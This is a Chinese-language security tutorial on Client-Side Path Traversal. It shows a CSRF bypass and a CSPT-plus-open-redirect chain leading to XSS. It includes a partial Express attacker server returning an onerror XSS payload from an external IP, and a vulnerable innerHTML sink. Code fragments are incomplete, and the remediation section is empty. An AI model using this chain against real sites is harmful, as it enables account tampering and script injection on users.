CSPT全称是Client-Side Path Traversal ，即客户端路径遍历。

CSPT 全称 Client-Side Path Traversal（客户端路径遍历），是一种针对前端应用的漏洞，核心是攻击者通过篡改 URL 参数、请求参数等，让浏览器（客户端）错误地向非预期的服务器路径发送请求，从而获取本不应访问的数据或资源。

它的本质是 “前端逻辑对参数校验不严格”，区别于传统的 “服务端路径遍历”（攻击目标是服务器文件系统）：

核心结果：让浏览器请求到开发者未开放的 API 接口、JSON 数据文件等；

如果配合其他漏洞，可能会触发或绕过达成某些漏洞的利用，多用于chain二次攻击。

跟上我的节奏，让我们揭开这个漏洞的神秘面纱。漏洞基本特征:

api接口: http://localhost:9999/api/users/1

http://localhost:9999/api/users/123

那么这里大家发现没有，我们发现api路径上的id可控，即可

api会去请求http://localhost:9999/api/123

现在我们通过客户端(前端)的访问，任意控制后端api的路由走向。

单看CSPT漏洞，感觉这种行为没有任何意义。因为我们用户本身就可以访问api接口。

可用业务场景1:

站点内，我们发现了一个get请求的修改用户姓名的接口如下所示:

当我们直接访问他，它存在安全限制，csrf最常见的安全修复方案就是referer限制。

因为有referer限制，我无法csrf修改用户信息成功。那么此时CSPT漏洞的作用就来了。

返回接口:http://localhost:9999/api/users/1

因为是客户端漏洞，所以最好有必要对特殊字符串进行url编码下:

此时利用CSPT，我们成功绕过了csrf限制，通过网络数据请求，你能看到他携带了referer。

此时姓名已经被修改掉了，说明csrf成功。比起传统的referer url绕过，使用CSPT更加方便，更加智能。

可用业务场景2:

如果一个网站同时具备CSPT+api接口url跳转漏洞，那么此时我们可以把这个漏洞升级成一个xss漏洞。

这个url跳转，无法使用伪协议进行xss攻击。那么他的危害相对就小了，只能钓鱼。

触发api接口:http://localhost:9999/api/users/1

{"id": 1, "name": "test", "profilePic": "/public/images/user1.jpg"}

现在我们在api接口上发现了一个url跳转漏洞，那么此时思路就来了。我们能不能，有没有可能通过CSPT漏洞，请求api接口实现跳转，在页面上加载恶意的json返回？

const express = require('express');

app.use((req, res, next) => {

  console.log('收到请求:', req.method, req.url);

  console.log('请求头:', req.headers);

  res.setHeader('Access-Control-Allow-Origin', 'http://localhost:9999');

  res.setHeader('Access-Control-Allow-Credentials', 'true');

  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');

  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

  res.setHeader('Access-Control-Max-Age', '86400');

app.get('/xss', (req, res) => {

  console.log('处理/xss请求，为CSPT漏洞利用返回JSON格式响应');

  res.setHeader('Content-Type', 'application/json');

   id: "<img src=\"x\" onerror=\"alert(321)\" />",

   profilePic: "/public/images/default.jpg"

  console.log('发送JSON格式XSS响应:', JSON.stringify(maliciousData));

  console.log(`攻击者服务（XSS 弹窗版）启动：http://localhost:${PORT}`);

此时你会发现访问example.com的时候报错红色了。

所以这也解释了为什么利用攻击代码中为什么要设置Access-Control-*的原因。

http://38.207.176.172:5001/xss

{"id":"<img src=\"x\" onerror=\"alert(321)\" />","name":"hello","profilePic":"/public/images/default.jpg"}

userInfoDiv.innerHTML = `

           <p><strong>ID:</strong> ${data.id || '未知'}</p>

           <p><strong>姓名:</strong> ${data.name || '未知'}</p>

           <p><strong>头像:</strong> <img src="${data.profilePic || '/public/images/default.jpg'}" alt="用户头像" width="100" height="100"></p>

通过url跳转伪造页面，实现渲染了用户植入的恶意代码。​

3.页面支持innerHTMl或者document.write输出。

这里选择了伪造id参数，id一般是数据库的key，是不可控的，即使是存在危险sink，也是无法xss，但是这里巧妙的利用了CSPT+url跳转漏洞实现了xss攻击。

漏洞修复方案: